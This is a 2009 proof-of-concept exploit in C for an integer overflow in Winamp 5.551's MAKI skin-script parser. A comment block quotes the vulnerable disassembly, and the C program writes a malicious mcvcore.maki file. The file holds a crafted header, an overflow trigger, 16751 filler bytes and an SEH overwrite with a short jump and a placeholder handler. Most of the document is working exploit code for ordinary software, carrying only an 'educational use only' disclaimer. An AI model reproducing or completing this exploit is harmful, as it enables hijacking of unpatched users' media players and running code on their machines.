WinAMP 5.551 MAKI Integer Overflow

`/*  
Winamp 5.551 MAKI Parsing Integer Overflow Vulnerability  
  
This is just a simple poc code to show how to  
exploit the recent MAKI file parsing vulnerability.  
  
Tested on :Vista sp1 and Xpsp3  
Release Date :May 22 2009  
Venders web site :http://www.winamp.com/  
Version Teasted:Winamp 5.551  
Not vulnerable :Winamp 5.552  
  
Im not going into any real detail as this is just  
a poc code and i think the guy who wrote the article  
explains where and why the integer overflow happens.  
Im sure if you are that interested have a look through  
the dll your self and you will also see the vulnerable memove :).  
  
Credits to the guys down at vrt-sourcefire for the overflow.  
http://vrt-sourcefire.blogspot.com  
  
We are able to overwrite the exception handlers and gain full  
control of the application the vendors released a patch for this  
but older versions are still vulnerable.!!!!  
  
Below is and explanation of the overflow which i took  
from the web site from the url above.  
  
  
[--Snip--]  
.text:12094DAB var_10144= byte ptr -10144h  
.text:12094DAB MultiByteStr= byte ptr -13ch  
  
If a string size is greater than or equal to 0x8000, edi will be 0xFFFFhhhh  
(where, 0xhhhh is the two byte input)  
  
.text:12094F62 loc_12094F62:  
.text:12094F62 mov ax, [ebx]  
.text:12094F65 movsx edi, ax ; sign extension  
.text:12094F68 inc ebx  
.text:12094F69 push edi ; Size  
.text:12094F6A inc ebx  
.text:12094F6B lea eax, [ebp+MultiByteStr]  
.text:12094F71 push ebx ; Src  
.text:12094F72 push eax ; Dst, buffer is located in the stack  
.text:12094F73 call memmove  
  
.text:120951E5 loc_120951E5:  
.text:120951E5 mov edi, [ebx]  
.text:120951E7 add ebx, 4  
.text:120951EA mov ax, [ebx]  
.text:120951ED movsx esi, ax ; sign extension  
.text:120951F0 inc ebx  
.text:120951F1 push esi ; Size  
.text:120951F2 inc ebx  
.text:120951F3 lea eax, [ebp+var_10144]  
.text:120951F9 push ebx ; Src  
.text:120951FA push eax ; Dst, buffer is located in the stack  
.text:120951FB call memmove  
[--Snip--]  
  
And once the file is created then we need to place the  
mcvcore.maki file inside ..//Winamp/Skins/Bento/Scripts/.  
And then open winamp with olldbg.And step through the  
execution.  
  
Credits to n00b for writing simple poc code !!  
Progression is always a good thing.  
----------  
Disclaimer  
----------  
The information in this advisory and any of its  
demonstrations is provided "as is" without any  
warranty of any kind.  
  
I am not liable for any direct or indirect damages  
caused as a result of using the information or  
demonstrations provided in any part of this advisory.  
Educational use only..!!  
*/  
  
  
#include <stdio.h>  
#define MAKI "mcvcore.maki"  
  
  
unsigned char First_Header[] =  
{  
0x46, 0x47, 0x03, 0x04, 0x17, 0x00, 0x00, 0x00, 0x2A, 0x00, 0x00, 0x00,  
0x71, 0x49, 0x65, 0x51, 0x87, 0x0D, 0x51, 0x4A, 0x91, 0xE3, 0xA6, 0xB5,  
0x32, 0x35, 0xF3, 0xE7, 0x64, 0x0F, 0xF5, 0xD6, 0xFA, 0x93, 0xB7, 0x49,  
0x93, 0xF1, 0xBA, 0x66, 0xEF, 0xAE, 0x3E, 0x98, 0x7B, 0xC4, 0x0D, 0xE9,  
0x0D, 0x84, 0xE7, 0x4A, 0xB0, 0x2C, 0x04, 0x0B, 0xD2, 0x75, 0xF7, 0xFC,  
0xB5, 0x3A, 0x02, 0xB2, 0x4D, 0x43, 0xA1, 0x4B, 0xBE, 0xAE, 0x59, 0x63,  
0x75, 0x03, 0xF3, 0xC6, 0x78, 0x57, 0xC6, 0x87, 0x43, 0xE7, 0xFE, 0x49,  
0x85, 0xF9, 0x09, 0xCC, 0x53, 0x2A, 0xFD, 0x56, 0x65, 0x36, 0x60, 0x38,  
0x1B, 0x46, 0xA7, 0x42, 0xAA, 0x75, 0xD8, 0x3F, 0x66, 0x67, 0xBF, 0x73,  
0xF4, 0x7A, 0x78, 0xF4, 0xBB, 0xB2, 0xF7, 0x4E, 0x9C, 0xFB, 0xE7, 0x4B,  
0xA9, 0xBE, 0xA8, 0x8D, 0x02, 0x0C, 0x37, 0x3A, 0xBF, 0x3C, 0x9F, 0x43,  
0x84, 0xF1, 0x86, 0x88, 0x5B, 0xCF, 0x1E, 0x36, 0xB6, 0x5B, 0x0C, 0x5D,  
0xE1, 0x7D, 0x1F, 0x4B, 0xA7, 0x0F, 0x8D, 0x16, 0x59, 0x94, 0x19, 0x41,  
0x99, 0xE1, 0xE3, 0x4E, 0x36, 0xC6, 0xEC, 0x4B, 0x97, 0xCD, 0x78, 0xBC,  
0x9C, 0x86, 0x28, 0xB0, 0xE5, 0x95, 0xBE, 0x45, 0x72, 0x20, 0x91, 0x41,  
0x93, 0x5C, 0xBB, 0x5F, 0xF9, 0xF1, 0x17, 0xFD, 0x4E, 0x6D, 0x90, 0x60,  
0x7E, 0x53, 0x2E, 0x48, 0xB0, 0x04, 0xCC, 0x94, 0x61, 0x88, 0x56, 0x72,  
0xC0, 0xBC, 0x3A, 0x40, 0x22, 0x6F, 0xD6, 0x4B, 0x8B, 0xA4, 0x10, 0xC8,  
0x29, 0x93, 0x25, 0x47, 0x4D, 0x3E, 0xAA, 0x97, 0xD0, 0xF4, 0xA8, 0x4F,  
0x81, 0x7B, 0x0D, 0x0A, 0xF2, 0x2A, 0x45, 0x49, 0x83, 0xFA, 0xBB, 0xE4,  
0x64, 0xF4, 0x81, 0xD9, 0x49, 0xB0, 0xC0, 0xA8, 0x5B, 0x2E, 0xC3, 0xBC,  
0xFD, 0x3F, 0x5E, 0xB6, 0x62, 0x5E, 0x37, 0x8D, 0x40, 0x8D, 0xEA, 0x76,  
0x81, 0x4A, 0xB9, 0x1B, 0x77, 0xBE, 0x97, 0x4F, 0xCE, 0xB0, 0x77, 0x19,  
0x4E, 0x99, 0x56, 0xD4, 0x98, 0x33, 0xC9, 0x6C, 0x27, 0x0D, 0x20, 0xC2,  
0xA8, 0xEB, 0x51, 0x2A, 0x4B, 0xBA, 0x7F, 0x5D, 0x4B, 0xC6, 0x5D, 0x4C,  
0x71, 0x38, 0xBA, 0x1E, 0x8D, 0x9E, 0x48, 0x3E, 0x48, 0xB9, 0x60, 0x8D,  
0x1F, 0x43, 0xC5, 0xC4, 0x05, 0x40, 0xC9, 0x08, 0x0F, 0x39, 0xAF, 0x23,  
0x4B, 0x80, 0xF3, 0xB8, 0xC4, 0x8F, 0x7E, 0xBB, 0x59, 0x72, 0x86, 0xAA,  
0xEF, 0x0E, 0x31, 0xFA, 0x41, 0xB7, 0xDC, 0x85, 0xA9, 0x52, 0x5B, 0xCB,  
0x4B, 0x44, 0x32, 0xFD, 0x7D, 0x51, 0x37, 0x7C, 0x4E, 0xBF, 0x40, 0x82,  
0xAE, 0x5F, 0x3A, 0xDC, 0x33, 0x15, 0xFA, 0xB9, 0x5A, 0x7D, 0x9A, 0x57,  
0x45, 0xAB, 0xC8, 0x65, 0x57, 0xA6, 0xC6, 0x7C, 0xA9, 0xCD, 0xDD, 0x8E,  
0x69, 0x1E, 0x8F, 0xEC, 0x4F, 0x9B, 0x12, 0xF9, 0x44, 0xF9, 0x09, 0xFF,  
0x45, 0x27, 0xCD, 0x64, 0x6B, 0x26, 0x5A, 0x4B, 0x4C, 0x8C, 0x59, 0xE6,  
0xA7, 0x0C, 0xF6, 0x49, 0x3A, 0xE4, 0x05, 0xCB, 0x6D, 0xC4, 0x8A, 0xC2,  
0x48, 0xB1, 0x93, 0x49, 0xF0, 0x91, 0x0E, 0xF5, 0x4A, 0xFF, 0xCF, 0xDC,  
0xB4, 0xFE, 0x81, 0xCC, 0x4B, 0x96, 0x1B, 0x72, 0x0F, 0xD5, 0xBE, 0x0F,  
0xFF, 0xE1, 0x8C, 0xE2, 0x01, 0x59, 0xB0, 0xD5, 0x11, 0x97, 0x9F, 0xE4,  
0xDE, 0x6F, 0x51, 0x76, 0x0D, 0x0A, 0xBD, 0xF8, 0xF0, 0x80, 0xA5, 0x1B,  
0xA6, 0x42, 0xA0, 0x93, 0x32, 0x36, 0xA0, 0x0C, 0x8D, 0x4A, 0x1B, 0x34,  
0x2E, 0x9B, 0x98, 0x6C, 0xFA, 0x40, 0x8B, 0x85, 0x0C, 0x1B, 0x6E, 0xE8,  
0x94, 0x05, 0x71, 0x9B, 0xD5, 0x36, 0xFD, 0x03, 0xF8, 0x4A, 0x97, 0x95,  
0x05, 0x02, 0xB7, 0xDB, 0x26, 0x7A, 0x10, 0xF2, 0xD5, 0x7F, 0xC4, 0xAC,  
0xDF, 0x48, 0xA6, 0xA0, 0x54, 0x51, 0x57, 0x6C, 0xDC, 0x76, 0x35, 0xA5,  
0xBA, 0xB5, 0xB3, 0x05, 0xCB, 0x4D, 0xAD, 0xC1, 0xE6, 0x18, 0xD2, 0x8F,  
0x68, 0x96, 0xC1, 0xFE, 0x29, 0x61, 0xB7, 0xDA, 0x51, 0x4D, 0x91, 0x65,  
0x01, 0xCA, 0x0C, 0x1B, 0x70, 0xDB, 0xF7, 0x14, 0x95, 0xD5, 0x36, 0xED,  
0xE8, 0x45, 0x98, 0x0F, 0x3F, 0x4E, 0xA0, 0x52, 0x2C, 0xD9, 0x82, 0x4B,  
0x3B, 0x9B, 0x7A, 0x66, 0x0E, 0x42, 0x8F, 0xFC, 0x79, 0x41, 0x15, 0x80,  
0x9C, 0x02, 0x99, 0x31, 0xED, 0xC7, 0x19, 0x53, 0x98, 0x47, 0x98, 0x63,  
0x60, 0xB1, 0x5A, 0x29, 0x8C, 0xAA, 0x4D, 0xC1, 0xBB, 0xE2, 0xF6, 0x84,  
0x73, 0x41, 0xBD, 0xB3, 0xB2, 0xEB, 0x2F, 0x66, 0x55, 0x50, 0x94, 0x05,  
0xC0, 0x73, 0x1F, 0x96, 0x1B, 0x40, 0x9B, 0x1B, 0x67, 0x24, 0x27, 0xAC,  
0x41, 0x65, 0x22, 0xBA, 0x3D, 0x59, 0x77, 0xD0, 0x76, 0x49, 0xB9, 0x52,  
0xF4, 0x71, 0x36, 0x55, 0x40, 0x0B, 0x82, 0x02, 0x03, 0xD4, 0xAB, 0x3A,  
0x87, 0x4D, 0x87, 0x8D, 0x12, 0x32, 0x6F, 0xAD, 0xFC, 0xD5, 0x83, 0xC2,  
0xDE, 0x24, 0x6E, 0xB7, 0x36, 0x4A, 0x8C, 0xCC, 0x9E, 0x24, 0xC4, 0x6B,  
0x6C, 0x73, 0x37, 0x00  
};  
  
/*Trigger the overflow*/  
unsigned char Exception [] =  
{  
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,  
0xFF, 0xFF, 0xFF  
};  
  
  
  
  
unsigned char Junk1 ='A';  
int main()  
{  
FILE *fp;  
int i;  
  
if ((fp = fopen(MAKI, "wb")) == NULL)  
{  
printf("File %s write error\n", MAKI);  
return(0);  
}  
  
for (i=0; i<sizeof(First_Header); i++)  
fputc(First_Header[i], fp);  
  
for (i=0; i<sizeof(Exception); i++)  
fputc(Exception[i], fp);  
  
for (i=0;i<16751;i++)  
{  
fwrite(&Junk1,1,1,fp);  
}  
fputs("\xEB\x06\x90\x90", fp);/*Pointer to next seh record */  
fputs("\x42\x42\x42\x42", fp);/*SE handler*/  
fclose(fp);  
return 0;  
}  
  
`